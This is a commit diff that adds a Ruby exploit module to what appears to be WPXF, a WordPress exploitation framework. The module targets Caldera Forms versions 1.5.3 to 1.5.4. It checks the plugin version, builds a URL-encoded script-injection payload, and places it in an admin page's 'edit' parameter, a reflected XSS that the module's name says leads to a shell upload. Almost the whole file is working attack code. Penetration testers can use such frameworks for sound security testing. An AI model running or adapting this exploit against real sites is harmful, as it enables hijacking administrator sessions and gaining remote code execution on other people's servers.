Add Caldera Forms v1.5.3 to v1.5.4 reflected XSS shell upload

Author: rastating

modules/exploit/xss/reflected/caldera_forms_v1.5.4_xss_shell_upload.rb

@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::CalderaFormsV154XssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Caldera Forms 1.5.3 to 1.5.4 Reflected XSS Shell Upload',
+      author: [
+        'Will Brand', # Dislosure
+        'rastating'   # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8940']
+      ],
+      date: 'Sep 08 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('caldera-forms', '1.5.5', '1.5.3')
+  end
+
+  def xss_payload
+    url_encode("\"><script>#{xss_ascii_encoded_include_script}</script>")
+  end
+
+  def url_with_xss
+    "#{wordpress_url_admin_options}?page=caldera-forms&edit=#{xss_payload}"
+  end
+end